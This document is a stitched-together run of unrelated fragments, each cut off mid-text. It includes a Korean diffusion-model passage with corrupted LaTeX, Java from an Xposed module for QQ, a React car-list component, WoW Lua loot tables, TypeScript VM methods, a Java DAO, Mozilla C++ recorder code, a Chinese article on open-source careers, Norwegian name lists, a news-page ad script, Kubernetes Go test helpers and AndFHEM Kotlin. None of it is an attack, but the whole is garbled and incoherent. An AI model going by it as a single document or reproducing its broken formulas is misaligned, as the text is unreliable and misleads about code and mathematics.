      '여기서 \\(\\mu\\) 및 \\(\\sigma^{2}\\)은 \\(t\\), \\(s\\), \\(\\mathbf{x}\\) 및 \\(\\mathbf{z}_{t}\\)의 _analytical_mean 및 variance 함수이다. 매개변수화된 생성과정 \\(p_{\\theta}(\\mathbf{z}_{s}|\\mathbf{z}_{t})\\)은 신경망 \\(f_{\\theta}:\\mathbb{R}^{D}\\times[0,1]\\to\\mathbb{R}^{D}\\)을 통해 \\(\\mathbf{x}\\)으로 정의된다. 즉, 우리는 설정\n' +
      '\n' +
      '\\[p_{\\theta}(\\mathbf{z}_{s}|\\mathbf{z}_{t}):=q(\\mathbf{z}_{s}|\\mathbf{z}_{t},\\mathbf{x}=f_{\\theta}(\\mathbf{z}_{t},t))\\, \\tag{4}\\)\n' +
      '\n' +
      '확산 목표는 확산 프로세스와 잡음 제거 프로세스 사이의 KL-확산, 즉 \\(\\mathrm{KL}(q(\\mathbf{x},\\mathbf{z}_{0},\\dots,\\mathbf{z}_{1})|p(\\mathbf{x},\\mathbf{z}_{0},\\dots,\\mathbff{z}_{1}))로 간단히 표현할 수 있다(Kingma et al., 2021):\n' +
      '\n' +
      '=\\mathbb{E}_{t\\sim U(0,1),\\mathbf{e}\\sim\\mathcal{N}(0,1)}\\left[w(t)||\\mathbf{x}-f_{\\theta}(\\mathbf{z}_{t,\\mathbf{e},t||^{2}\\right]\\]\\[\\quad+\\mathcal{L}_{\\mathrm{


 = ChatTailActivity.this.findViewById(R_ID_APPLY);
        disable = ChatTailActivity.this.findViewById(R_ID_DISABLE);
        if (!enabled) {
            apply.setText("保存并启用");
        } else {
            apply.setText("确认");
        }
        if (!enabled) {
            disable.setVisibility(View.GONE);
        } else {
            disable.setVisibility(View.VISIBLE);
        }
    }

    @Override
    public void onClick(View v) {
        ConfigManager cfg = ExfriendManager.getCurrent().getConfig();
        switch (v.getId()) {
            case R_ID_APPLY:
                doUpdateTailCfg();
                logi("isRegex:" + String.valueOf(ChatTailHook.isRegex()));
                logi("isPassRegex:" + String.valueOf(ChatTailHook.isPassRegex("示例消息")));
                logi("getTailRegex:" + ChatTailHook.getTailRegex());
                break;
            case R_ID_DISABLE:
                cfg.putBoolean(ChatTailHook.qn_chat_tail_enable, false);
                try {
                    cfg.save();
                } catch (Exception e) {
                    Toasts.error(ChatTailActivity.this, "错误:" + e.toString(), Toast.LENGTH_LONG);
                    log(e);
                }
                showStatus();
        }
    }

    private void doUpdateTailCfg() {
        ChatTailHook ct = ChatTailHook.INSTANCE;
        ConfigManager cfg = ExfriendManager.getCurrent().getConfig();
        EditText pct;
        pct = ChatTailActivity.this.findViewById(R_ID_PERCENT_VALUE);
        String val = pct.getText().toString();
        if (Utils.isNullOrEmpty(val)) {
            Toasts.error(ChatTailActivity.this, "请输入小尾巴");
            return;
        }
        if (!val.contains(ChatTailActivity.delimiter)) {
            Toasts.error(ChatTailActivity.this, "请在小尾巴中加入" + ChatTailActivity.delimiter + "");
            return;
        }
        ct.setTail(val);
        val = ((EditText) ChatTailActivity.this.findViewById(R_ID_REGEX_VALUE)).getText()
            .toString();
        if (!Utils.isNullOrEmpty(val)) {
            ct.setTailRegex(val);
        }
        if (!ct.isEnabled()) {
            cfg.putBoolean(ChatTailHook.qn_chat_tail_enable, true);
            try {
                cfg.save();
            } catch (Exception e) {
                Toasts.error(ChatTailActivity.this, "错误:" + e.toString(), Toast.LENGTH_LONG);
                log(e);
            }
        }
        showStatus();
    }

    private static class BatteryReceiver extends BroadcastReceiver {

        @Override
        public void onReceive(Context context, Intent intent) {
            String action = intent.getAction();
            switch (action) {
                case Intent.ACTION_BATTERY_CHANGED: {
                    int current = intent.getExtras().getInt("level");//获得当前电量
                    int total = intent.getExtras().getInt("scale");//获得总电量
                    int percent = current * 100 / total;
                    ChatTailActivity.battery = percent;
                }
                case Intent.ACTION_POWER_DISCONNECTED: {
                    ChatTailActivity.power = "未充电";
                }
                case Intent.ACTION_POWER_CONNECTED: {
                    ChatTailActivity.power = "充电中";
                }
            }

        }
    }

}
/*
 * QNotified - An Xposed module for QQ/TIM
 * Copyright (C) 201


   }
        }),
        new HtmlWebpackPlugin({
            template: './src/main/webapp/index.html',
            chunksSortMode: 'dependency',
            inject: 'body'
        })
    ]
});
import React, { useEffect, useState } from 'react';
import { SERVER_URL } from '../constants.js'
import { DataGrid, GridToolbarContainer, GridToolbarExport, gridClasses } from '@mui/x-data-grid';
import Snackbar from '@mui/material/Snackbar';
import Stack from '@mui/material/Stack';
import IconButton from '@mui/material/IconButton';
import DeleteIcon from '@mui/icons-material/Delete';
import AddCar from './AddCar.js';
import EditCar from './EditCar.js';

function CustomToolbar() {
  return (
    <GridToolbarContainer className={gridClasses.toolbarContainer}>
      <GridToolbarExport />
    </GridToolbarContainer>
  );
}

function Carlist() {
  const [cars, setCars] = useState([]);
  const [open, setOpen] = useState(false);

  useEffect(() => {
    fetchCars();
  }, []);

  const fetchCars = () => {
    fetch(SERVER_URL + 'api/cars')
    .then(response => response.json())
    .then(data => setCars(data._embedded.cars))
    .catch(err => console.error(err));
  }

  const onDelClick = (url) => {
    if (window.confirm("Are you sure to delete?")) {
      fetch(url,  {method:  'DELETE'})
      .then(response => {
        if (response.ok) {
          fetchCars();
          setOpen(true);
        }
        else {
          alert('Something went wrong!');
        }
      })
      .catch(err => console.error(err))
    }
  }

  // Add a new car
  const addCar = (car) => {
    fetch(SERVER_URL  +  'api/cars',
      { method: 'POST', headers: {
        'Content-Type':'application/json',
      },
      body: JSON.stringify(car)
    })
    .then(response => {
      if (response.ok) {
        fetchCars();
      }
      else {
        alert('Something went wrong!');
      }
    })
    .catch(err => console.error(err))
  }

  // Update existing car
  const updateCar = (car, link) => {
    fetch(link,
      {
        method: 'PUT',
        headers: {
        'Content-Type':  'application/json',
      },
      body: JSON.stringify(car)
    })
    .then(response => {
      if (response.ok) {
        fetchCars();
      }
      else {
        alert('Something went wrong!');
      }
    })
    .catch(err => console.error(err))
  }

  const columns = [
    {field: 'brand', headerName: 'Brand', width: 200},
    {field: 'model', headerName: 'Model', width: 200},
    {field: 'color', headerName: 'Color', width: 200},
    {field: 'year', headerName: 'Year', width: 150},
    {field: 'price', headerName: 'Price', width: 150},
    {
      field: '_links.car.href',
      headerName: '',
      sortable: false,
      filterable: false,
      renderCell: row => <EditCar
                            data={row}
                            updateCar={updateCar} />
    },
    {
      field: '_links.self.href',
      headerName: '',
      sortable: false,
      filterable: false,
      renderCell: row =>
        <IconButton onClick={() => onDelClick(row.id)}>
          <DeleteIcon color="error" />
        </IconButton>
    }
  ];

  return(
    <React.Fragment>
      <Stack mt={2} mb={2}>
        <AddCar addCar={addCar} />


= "1/40/232/108",
	},
	["Blackhand-Eisenwache:60"] = {
		["qi"] = "/1///",
		["bi"] = "1//668/400/1//2/",
		["ml"] = "0/0/0/0/2/104",
		["c2"] = "2/179/179/72",
	},
	["Magmus:57"] = {
		["qi"] = "///1/",
		["il"] = "22400",
		["bi"] = "1//////2/",
		["ml"] = "0/0/0/0/2/102",
		["c2"] = "1///",
	},
	["Lumpenwachposten:58"] = {
		["bi"] = "//////2/",
	},
	["Spektraler Forscher:59"] = {
		["c2"] = "1/174/581/",
		["ml"] = "0/0/0/0/2/109",
		["bi"] = "1//1721////2/",
	},
	["Antu'sul:48"] = {
		["bi"] = "//////2/",
	},
	["Seelenfresser der Sandfury:45"] = {
		["bi"] = "//////2/",
		["ml"] = "0/0/0/0/1/115",
		["c2"] = "2/52/185/155",
	},
	["Baggerschläger:56"] = {
		["qi"] = "9/3///",
		["c2"] = "8/48/226/195",
		["ml"] = "29/13/45/37/1/15",
		["bi"] = "8/1//1835//552//",
	},
	["Murta Grimgut:44"] = {
		["bi"] = "//////2/",
		["ml"] = "0/0/0/0/1/115",
		["c2"] = "1/35/52/160",
	},
	["Scholomance-Adept:59"] = {
		["qi"] = "/1///",
		["c2"] = "2/50/50/89",
		["ml"] = "0/0/0/0/2/109",
		["bi"] = "1///200///2/",
	},
	["Zwerggezeitenkriecher:10"] = {
		["qi"] = "/5///",
		["c2"] = "3///46",
		["ml"] = "35/44/36/45/1/9",
		["bi"] = "3///61////",
	},
	["Geschundener Kadaver:56"] = {
		["qi"] = "/2///",
		["c2"] = "3///106",
		["ml"] = "0/0/0/0/2/112",
		["bi"] = "3//5045/1200/1//2/",
	},
	["Nekrobestie:60"] = {
		["c2"] = "2/48/50/114",
		["ml"] = "0/0/0/0/2/109",
		["bi"] = "//////2/",
	},
	["Schicksalsträchtiger Handwerker:54"] = {
		["qi"] = "/1///",
		["bi"] = "1//361/100////",
		["ml"] = "0/0/0/0/2/102",
		["c2"] = "9/57/209/191",
	},
	["Leerwandlerdiener:15"] = {
		["ml"] = "41/79/41/79/2/111",
		["c2"] = "1/23/23/",
	},
	["Bluttrinker der Sandfury:45"] = {
		["qi"] = "1/1///",
		["bi"] = "3/1//4612/1//2/",
		["ml"] = "0/0/0/0/1/115",
		["c2"] = "


true;
            Name = "ScrollZoom";
        }

        private void ZoomTimerTick(object sender, EventArgs e)
        {
            _zoomTimer.Stop();
            if (_mapFrame == nul


eCode("Vector.prepend", this.prepend, 1);
      case 26: return new VmNativeCode("Vector.appendAll", this.appendAll, 1);
      case 27: return new VmNativeCode("Vector.removeElement", this.removeElement, 1);
      case 28: return new VmNativeCode("Vector.splice", this.splice, 2, 0, true);
      case 29: return new VmNativeCode("Vector.join", this.join, 0, 1);
      case 30: return new VmNativeCode("Vector.generate", this.generate, 2);
      case 31: return new VmNativeCode("Vector.indexOfMin", this.indexOfMin, 0, 1);
      case 32: return new VmNativeCode("Vector.minVal", this.minVal, 0, 1);
      case 33: return new VmNativeCode("Vector.indexOfMax", this.indexOfMax, 0, 1);
      case 34: return new VmNativeCode("Vector.maxVal", this.maxVal, 0, 1);
    }
    return null;
  }

  /*
   * Virtual methods
   */

  public add(data: VmData): VmData {
    // If argument is a list-like, get its array of elements.
    // Otherwise consider argument an array of a single element.
    let arr = data.unpack();
    if(!Array.isArray(arr)) arr = [data];

    // If data is a VmList, then add it to
    return new VmObject(new Vector(this.value.concat(arr)));
  }

  public subtract(data: VmData): VmData {
    // If argument is a list-like, get its array of elements.
    // Otherwise consider argument an array of a single element.
    let arr = data.unpack();
    if(!Array.isArray(arr)) arr = [data];

    // Remove from the "this" list all elements that occur in the subtracted list:
    let lst = this.value.filter((x: VmData) => !arr.find((y: VmData) => x.eq(y)));
    return new VmObject(new Vector(lst));
  }

  public setindex(vmIndex: VmData, data: VmData): VmData {
    if(!(vmIndex instanceof VmInt)) throw('NUM_VAL_REQD');
    let idx = vmIndex.unpack();
    if(idx < 1) throw('INDEX_OUT_OF_RANGE');
    // If vector isn't big enough, add nil elements to the end:
    while(this.value.length < idx) this.value.push(new VmNil());
    this.value[idx - 1] = data;
    return new VmObject(this.id);
  }

  /*
   * Meta methods - all private as they should not be called
   * directly by other code, only when a property is evaluated.
   */

  /**
   * Append vmValue to end of vector. Mutates self.
   * List-like values are appended as single elements.
   * @param vmValue Value to append.
   * @returns self
   */
  private append(vmValue: VmData): VmObject {
    this.value.push(vmValue);
    return new VmObject(this.id);
  }

  /**
   * Append vmValue to end of vector. Mutates self.
   * List-like values are appended as separate elements (non-recursively).
   * @param vmValue Value to append
   * @returns self
   */
  private appendAll(vmValue: VmData): VmObject {
    if(vmValue instanceof VmList) {
      this.value.push(...vmValue.value);
    } else if((vmValue instanceof VmObject) && vmValue.getInstance() instanceof ListBase) {
      this.value.push(...vmValue.getInstance().getValue());
    } else {
      this.value.push(vmValue);
    }
    return new VmObject(this.id);
  }

  /**
   * Append elements of list or vector to self. Result
   * consists only of unique elements. Mutates self.
   * @param vmList List/vector
   * @returns self
   */
  private appendUnique


int value = Random.Shared.Next();
            sortedDictionary.Add(value,1);
            multiMap.Add(value,1);
        }

        var MultiMapEnumerator = multiMap.GetEnumerator();
        var sortedDictionaryEnumerator = sortedDictionary.GetEnumerator();
        while (sortedDictionaryEnumerator.MoveNext())
        {
            MultiMapEnumerator.MoveNext();
            int key = sortedDictionaryEnumerator.Current.Key;
            MultiMapEnumerator.Current.Key.Should().Be(key);
        }
    }

    [Fact]
    public void NativeCollectionClass()
    {
        MultiMap<int, int> multiMap = new MultiMap<int, int>();
        multiMap.IsDisposed.Should().Be(false);
        for (int i = 0; i < 100; i++)
        {
            multiMap.Add(Random.Shared.Next(),1);
        }
        multiMap.Dispose();
        multiMap.IsDisposed.Should().Be(true);
        multiMap.ReInit();
        multiMap.IsDisposed.Should().Be(false);
        multiMap.Count.Should().Be(0);
        for (int i = 0; i < 100; i++)
        {
            multiMap.Add(Random.Shared.Next(),1);
        }
    }

}


@param info
     * @return
     * @throws DAOException
     */
    public List<Map> queryBusinessUserInfoAttrs(Map info) throws DAOException {
        Assert.notNull(info, "queryBusinessUserInfoAttrs 的参数不能为空");
        logger.debug("----【userServiceDaoImpl.queryBusinessUserInfoAttrs】保存数据入参 : " + JSONObject.toJSONString(info));
        List<Map> userAttrs = sqlSessionTemplate.selectList("userServiceDaoImpl.queryBusinessUserInfoAttrs", info);
        return userAttrs;
    }

    /**
     * 查询用户信息
     *
     * @param info
     * @return
     * @throws DAOException
     */
    @Override
    public Map queryUserInfo(Map info) throws DAOException {
        Assert.notNull(info, "queryUserInfo 的参数不能为空");
        logger.debug("----【userServiceDaoImpl.queryUserInfo】保存数据入参 : " + JSONObject.toJSONString(info));
        List<Map> users = sqlSessionTemplate.selectList("userServiceDaoImpl.queryUserInfo", info);
        if (users == null || users.size() == 0) {
            return null;
        }
        return users.get(0);
    }

    /**
     * 查询用户信息
     *
     * @param info
     * @return
     * @throws DAOException
     */
    @Override
    public List<Map> queryUsersInfo(Map info) throws DAOException {
        Assert.notNull(info, "queryUserInfo 的参数不能为空");
        logger.debug("----【userServiceDaoImpl.queryUserInfo】保存数据入参 : " + JSONObject.toJSONString(info));
        List<Map> users = sqlSessionTemplate.selectList("userServiceDaoImpl.queryUserInfo", info);

        return users;
    }

    /**
     * 查询用户信息
     *
     * @param info
     * @return
     * @throws DAOException
     */
    @Override
    public List<Map> queryUserInfoAttrs(Map info) throws DAOException {
        Assert.notNull(info, "queryUserInfo 的参数不能为空");
        logger.debug("----【userServiceDaoImpl.queryUserInfoAttrs】查询用户属性 : " + JSONObject.toJSONString(info));
        List<Map> userAttrs = sqlSessionTemplate.selectList("userServiceDaoImpl.queryUserInfoAttrs", info);
        return userAttrs;
    }

    /**
     * 保存用户地址信息
     * Business 过程
     *
     * @param userAddress 用户地址信息
     * @throws DAOException
     */
    public void saveBusinessUserAddress(Map userAddress) throws DAOException {
        logger.debug("----【userServiceDaoImpl.saveBusinessUserAddress】保存数据入参 : " + JSONObject.toJSONString(userAddress));
        int saveFlag = sqlSessionTemplate.insert("userServiceDaoImpl.saveBusinessUserAddress", userAddress);

        if (saveFlag < 1) {
            throw new DAOException(ResponseConstant.RESULT_PARAM_ERROR, "保存用户地址数据失败：" + JSONObject.toJSONString(userAddress));
        }
    }

    /**
     * 查询用户地址信息
     * business 过程
     *
     * @param info b_id
     * @return 查询到的用户地址信息
     * @throws DAOException
     */
    public Map queryBusinessUserAddress(Map info) throws DAOException {
        Assert.notNull(info, "queryBusinessUserAddress 的参数不能为空");
        logger.debug("----【userServiceDaoImpl.queryBusinessUserAddress】保存数据入参 : " + JSONObject.toJSONString(info));
        List<Map> users = sqlSessionTemplate.selectList("userServiceDaoImpl.queryBusinessUserAddress", info);
        if (users == null || users.size() == 0) {


Data.get(),
                                              stride, surfaceSize,
                                              aSurface->GetFormat()));
    return;
  }

  DataSourceSurface::ScopedMap map(dataSurf, DataSourceSurface::READ);
  RecordEvent(RecordedSourceSurfaceCreation(
      aSurface, map.GetData(), map.GetStride(), dataSurf->GetSize(),
      dataSurf->GetFormat()));
}

void DrawEventRecorderPrivate::RecordSourceSurfaceDestruction(void* aSurface) {
  RemoveSourceSurface(static_cast<SourceSurface*>(aSurface));
  RemoveStoredObject(aSurface);
  RecordEvent(RecordedSourceSurfaceDestruction(ReferencePtr(aSurface)));
}

void DrawEventRecorderPrivate::DecrementUnscaledFontRefCount(
    const ReferencePtr aUnscaledFont) {
  auto element = mUnscaledFontRefs.find(aUnscaledFont);
  MOZ_DIAGNOSTIC_ASSERT(element != mUnscaledFontRefs.end(),
                        "DecrementUnscaledFontRefCount calls should balance "
                        "with IncrementUnscaledFontRefCount calls");
  if (--(element->second) <= 0) {
    RecordEvent(RecordedUnscaledFontDestruction(aUnscaledFont));
    mUnscaledFontRefs.erase(aUnscaledFont);
  }
}

void DrawEventRecorderFile::RecordEvent(const RecordedEvent& aEvent) {
  aEvent.RecordToStream(mOutputStream);

  Flush();
}

void DrawEventRecorderMemory::RecordEvent(const RecordedEvent& aEvent) {
  aEvent.RecordToStream(mOutputStream);
}

void DrawEventRecorderMemory::AddDependentSurface(uint64_t aDependencyId) {
  mDependentSurfaces.PutEntry(aDependencyId);
}

nsTHashtable<nsUint64HashKey>&&
DrawEventRecorderMemory::TakeDependentSurfaces() {
  return std::move(mDependentSurfaces);
}

DrawEventRecorderFile::DrawEventRecorderFile(const char_type* aFilename)
    : mOutputStream(aFilename, std::ofstream::binary) {
  WriteHeader(mOutputStream);
}

DrawEventRecorderFile::~DrawEventRecorderFile() { mOutputStream.close(); }

void DrawEventRecorderFile::Flush() { mOutputStream.flush(); }

bool DrawEventRecorderFile::IsOpen() { return mOutputStream.is_open(); }

void DrawEventRecorderFile::OpenNew(const char_type* aFilename) {
  MOZ_ASSERT(!mOutputStream.is_open());

  mOutputStream.open(aFilename, std::ofstream::binary);
  WriteHeader(mOutputStream);
}

void DrawEventRecorderFile::Close() {
  MOZ_ASSERT(mOutputStream.is_open());

  mOutputStream.close();
}

DrawEventRecorderMemory::DrawEventRecorderMemory() {
  WriteHeader(mOutputStream);
}

DrawEventRecorderMemory::DrawEventRecorderMemory(
    const SerializeResourcesFn& aFn)
    : mSerializeCallback(aFn) {
  mExternalFonts = !!mSerializeCallback;
  WriteHeader(mOutputStream);
}

void DrawEventRecorderMemory::Flush() {}

void DrawEventRecorderMemory::FlushItem(IntRect aRect) {
  MOZ_RELEASE_ASSERT(!aRect.IsEmpty());
  // Detaching our existing resources will add some
  // destruction events to our stream so we need to do that
  // first.
  DetachResources();

  // See moz2d_renderer.rs for a description of the stream format
  WriteElement(mIndex, mOutputStream.mLength);

  // write out the fonts into the extra data section
  mSerializeCallback(mOutputStream, mScaledFonts);
  WriteElement(mIndex, mOutputStream.mLength);

  WriteElement(mIndex, aRect.x);
  WriteElement(mIndex, aRect.y);


      - 更容易进入 **跨学科团队**（如 AI + 操作系统、区块链底层架构）。
      - 通过参与 **Linux 峰会（如 Kernel Summit）** 或社区活动（如 FOSDEM），与行业顶尖人物建立联系。

    **4.职业安全感与长期价值**

    **数据支持**：

      - 根据 [Stack Overflow 2024 调查](https://survey.stackoverflow.co/2024/)，**底层系统开发**（如操作系统、编译器）的岗位留存率高于其他领域。
      - Linux 内核的 **长期维护性**（LTS 版本支持 6-10 年）使其开发者具备 **抗技术淘汰能力**，即使在 AI 领域爆发的背景下，仍能保持竞争力。

    **职业影响**：

      - 在技术快速迭代的行业中，Linux 开发经验可作为 **职业“锚点”**，降低因技术过时导致的失业风险。
      - 更容易转型到 **安全、物联网、边缘计算** 等新兴领域（这些领域依赖 Linux 内核的定制化能力）。

    参与 Linux 内核开发不仅是技术能力的证明，更是 **职业跃迁的跳板**。它带来的行业认可、跨领域合作机会和长期职业价值，远超单一技能（如应用层开发）的局限性。结合 GitHub Octoverse 和 Linux 社区的生态趋势，这种经验将成为未来 10 年技术领域的“黄金资产”。

---

### **第三部分：广义开源参与路径——突破代码边界的创新协作**

#### **1. 开放知识与文化传播**

**知识共创平台**

- **维基百科编辑**：比如可以参与"中国开源史"词条建设，补充红旗 Linux 发展历程细节（不过需要通过维基百科中立性审核）。

- **GitBook 开源文档**：在《开源入门手册》项目中新增"广义开源价值观"章节，使用 Markdown 提交 PR。

**文化传播行动**

- **开源科普视频**：互联网上，了解或者模仿许多技术博主制作的优质开源科普视频。它们通过动画、案例和通俗语言，帮初学者快速理解开源的概念、发展、运作模式及重要意义，打开了了解开源世界的窗口。

- **播客节目策划**：组织一档开源主题播客，例如“开源世界新动态与参与指南”。邀请开源专家和活跃贡献者分享经验，设置听众互动环节，


eidun",
        "Rita",
        "Ruth",
        "Sara",
        "Sigrid",
        "Silje",
        "Siri",
        "Sissel",
        "Siv",
        "Sofie",
        "Solveig",
        "Stine",
        "Synnøve",
        "Thea",
        "Tone",
        "Tonje",
        "Torill",
        "Tove",
        "Trine",
        "Turid",
        "Unni",
        "Vilde",
        "Wenche",
        "Åse",
    )

    first_names = first_names_male + first_names_female

    # 100 most common last names, alphabetically.
    # Source: http://www.ssb.no/a/navn/alf/etter100.html
    last_names = (
        "Aasen",
        "Aas",
        "Abrahamsen",
        "Ahmed",
        "Ali",
        "Amundsen",
        "Andersen",
        "Andreassen",
        "Andresen",
        "Antonsen",
        "Arnesen",
        "Aune",
        "Bakken",
        "Bakke",
        "Berge",
        "Berg",
        "Berntsen",
        "Bøe",
        "Birkeland",
        "Brekke",
        "Christensen",
        "Dahl",
        "Danielsen",
        "Edvardsen",
        "Eide",
        "Eliassen",
        "Ellingsen",
        "Engen",
        "Eriksen",
        "Evensen",
        "Fredriksen",
        "Gulbrandsen",
        "Gundersen",
        "Hagen",
        "Halvorsen",
        "Hansen",
        "Hanssen",
        "Haugen",
        "Hauge",
        "Haugland",
        "Haug",
        "Helland",
        "Henriksen",
        "Holm",
        "Isaksen",
        "Iversen",
        "Jacobsen",
        "Jakobsen",
        "Jensen",
        "Jenssen",
        "Johannessen",
        "Johansen",
        "Johnsen",
        "Jørgensen",
        "Karlsen",
        "Knudsen",
        "Knutsen",
        "Kristensen",
        "Kristiansen",
        "Kristoffersen",
        "Larsen",
        "Lien",
        "Lie",
        "Lunde",
        "Lund",
        "Madsen",
        "Martinsen",
        "Mathisen",
        "Mikkelsen",
        "Moen",
        "Moe",
        "Myhre",
        "Myklebust",
        "Nguyen",
        "Nielsen",
        "Nilsen",
        "Næss",
        "Nygård",
        "Olsen",
        "Paulsen",
        "Pedersen",
        "Pettersen",
        "Rasmussen",
        "Rønning",
        "Ruud",
        "Sandvik",
        "Simonsen",
        "Sivertsen",
        "Solberg",
        "Solheim",
        "Sørensen",
        "Sæther",
        "Strand",
        "Strøm",
        "Svendsen",
        "Tangen",
        "Thomassen",
        "Thorsen",
        "Tveit",
        "Vik",
        "Ødegård",
    )

    prefixes = (
        "Dr.",
        "Prof.",
    )


h,i[l][q+y](h)+'&'+dt);}catch(er){i[h]=dt;}
} else if(typeof i[t]!=='undefined'){i[t]++}
else{i[t]=1;}
})(window, document, 'InContent', 'script', 'mediaType', 'carambola_proxy','Cbola_IC','localStorage','set','get','Item','cbolaDt','//route.carambo.la/inimage/getlayer?pid=crbb88&did=110538&wid=0')
</script>

                RECOMMENDED FOR YOU

                        <img
                            src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAJCAQAAACRI2S5AAAAEklEQVR42mM8U8+AFzCOKgADAHdUC60wg0dkAAAAAElFTkSuQmCC"
                            alt="Melissa charged with killing her mom"
                            class="img-responsive lazyload full default"
                            width="1762"
                            height="991"
                            data-sizes="auto"
                            data-srcset="https://bloximages.newyork1.vip.townnews.com/trinidadexpress.com/content/tncms/assets/v3/editorial/4/81/4815b61a-c721-11ec-9350-e30201f79f10/626add855d332.image.jpg?crop=1762%2C991%2C0%2C92&resize=150%2C84&order=crop%2Cresize 150w, https://bloximages.newyork1.vip.townnews.com/trinidadexpress.com/content/tncms/assets/v3/editorial/4/81/4815b61a-c721-11ec-9350-e30201f79f10/626add855d332.image.jpg?crop=1762%2C991%2C0%2C92&resize=200%2C113&order=crop%2Cresize 200w, https://bloximages.newyork1.vip.


		machines := &clusterv1beta1.MachineList{}
		if err := input.ClusterProxy.GetClient().List(ctx, machines, client.InNamespace(machineSet.Namespace), client.MatchingLabels(selectorMap)); err != nil {
			return -1, err
		}
		nodeRefCount := 0
		for _, machine := range machines.Items {
			if machine.Status.NodeRef != nil {
				nodeRefCount++
			}
		}
		if len(machines.Items) != nodeRefCount {
			return -1, errors.New("Machine count does not match existing nodes count")
		}
		return nodeRefCount, nil
	}, input.WaitForMachineDeployments...).Should(Equal(int(input.Replicas)), "Timed out waiting for Machine Deployment %s to have %d replicas", klog.KObj(&md), input.Replicas)
}

type AssertMachineDeploymentReplicasInput struct {
	GetLister                GetLister
	MachineDeployment        *clusterv1.MachineDeployment
	Replicas                 int32
	WaitForMachineDeployment []interface{}
}

func AssertMachineDeploymentReplicas(ctx context.Context, input AssertMachineDeploymentReplicasInput) {
	Expect(ctx).NotTo(BeNil(), "ctx is required for AssertMachineDeploymentReplicas")
	Expect(input.GetLister).ToNot(BeNil(), "Invalid argument. input.GetLister can't be nil when calling AssertMachineDeploymentReplicas")
	Expect(input.MachineDeployment).ToNot(BeNil(), "Invalid argument. input.MachineDeployment can't be nil when calling AssertMachineDeploymentReplicas")

	Eventually(func(g Gomega) {
		// Get the MachineDeployment
		md := &clusterv1.MachineDeployment{}
		key := client.ObjectKey{
			Namespace: input.MachineDeployment.Namespace,
			Name:      input.MachineDeployment.Name,
		}
		g.Expect(input.GetLister.Get(ctx, key, md)).To(Succeed(), fmt.Sprintf("failed to get MachineDeployment %s", klog.KObj(input.MachineDeployment)))
		g.Expect(md.Spec.Replicas).Should(Not(BeNil()), fmt.Sprintf("MachineDeployment %s replicas should not be nil", klog.KObj(md)))
		g.Expect(*md.Spec.Replicas).Should(Equal(input.Replicas), fmt.Sprintf("MachineDeployment %s replicas should match expected replicas", klog.KObj(md)))
		g.Expect(ptr.Deref(md.Status.Replicas, 0)).Should(Equal(input.Replicas), fmt.Sprintf("MachineDeployment %s status.replicas should match expected replicas", klog.KObj(md)))

		// Check all replicas have a NodeRef (i.e. they have a corresponding Node).
		selectorMap, err := metav1.LabelSelectorAsMap(&input.MachineDeployment.Spec.Selector)
		g.Expect(err).ToNot(HaveOccurred())
		machines := &clusterv1.MachineList{}
		err = input.GetLister.List(ctx, machines, client.InNamespace(input.MachineDeployment.Namespace), client.MatchingLabels(selectorMap))
		g.Expect(err).ToNot(HaveOccurred())
		count := 0
		for _, machine := range machines.Items {
			if machine.Status.NodeRef.IsDefined() {
				count++
			}
		}
		g.Expect(count).To(Equal(int(input.Replicas)))
	}, input.WaitForMachineDeployment...).Should(Succeed())
}
/*
Copyright 2020 The Kubernetes Authors.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT


 FHEM home automation
 * server.
 *
 * Copyright (c) 2011, Matthias Klass or third-party contributors as
 * indicated by the @author tags or express copyright attribution
 * statements applied by the authors.  All third-party contributions are
 * distributed under license by Red Hat Inc.
 *
 * This copyrighted material is made available to anyone wishing to use, modify,
 * copy, or redistribute it subject to the terms and conditions of the GNU GENERAL PUBLIC LICENSE, as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
 * or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU GENERAL PUBLIC LICENSE
 * for more details.
 *
 * You should have received a copy of the GNU GENERAL PUBLIC LICENSE
 * along with this distribution; if not, write to:
 *   Free Software Foundation, Inc.
 *   51 Franklin Street, Fifth Floor
 *   Boston, MA  02110-1301  USA
 */
package li.klass.fhem.graph.backend.gplot

import java.io.Serializable

data class GPlotDefinition(val leftAxis: GPlotAxis, val rightAxis: GPlotAxis) : Serializable/*
 * AndFHEM - Open Source Android application to control a FHEM home automation
 * server.
 *
 * Copyright (c) 2011, Matthias Klass or third-party contributors as
 * indicated by the @author tags or express copyright attribution
 * statements applied by the authors.  All third-party contributions are
 * distributed under license by Red Hat Inc.
 *
 * This copyrighted material is made available to anyone wishing to use, modify,
 * copy, or redistribute it subject to the terms and conditions of the GNU GENERAL PUBLIC LICENSE, as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
 * or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU GENERAL PUBLIC LICENSE
 * for more details.
 *
 * You should have received a copy of the GNU GENERAL PUBLIC LICENSE
 * along with this distribution; if not, write to:
 *   Free Software Foundation, Inc.
 *   51 Franklin Street, Fifth Floor
 *   Boston, MA  02110-1301  USA
 */

package li.klass.fhem.domain.setlist

import li.klass.fhem.domain.setlist.typeEntry.*
import li.klass.fhem.domain.setlist.typeEntry.DateTimeSetListEntry.Companion.parseConfig

enum class SetListItemType(private val supportsType: SupportsType) {
    NO_ARG(SupportsType("noArg", 1)) {
        override fun entryFor(key: String, parts: List<String>): SetListItem =
            NoArgSetListEntry(key)
    },
    RGB(object : SupportsType("colorpicker") {
        override fun supports(parts: List<String>): Boolean =
                super.supports(parts) && parts.size > 1 && parts[1].equals("RGB", ignoreCase = true)
    }) {
        override fun entryFor(key: String, parts: List<String>): SetListItem = RGBSetListEntry(key)
    },
    TIME(SupportsType("time", 1)) {
        override fun entryFor(key: String, parts: List<String>): SetListItem =
            TimeSetListEntry(key)
    },
    TEXT_FIELD(SupportsType("textField", 1)) {
        override fun entryFor(key: String, parts: List<String>): SetListItem =
            TextFieldSetListEntry(key)
    },
    TEXT_FIELD_LONG(SupportsType("textField-long", 1)) {
        override fun entryFor(key: String, parts: List<String>): SetListItem =
            TextFieldLongSetListEntry(key)
    },
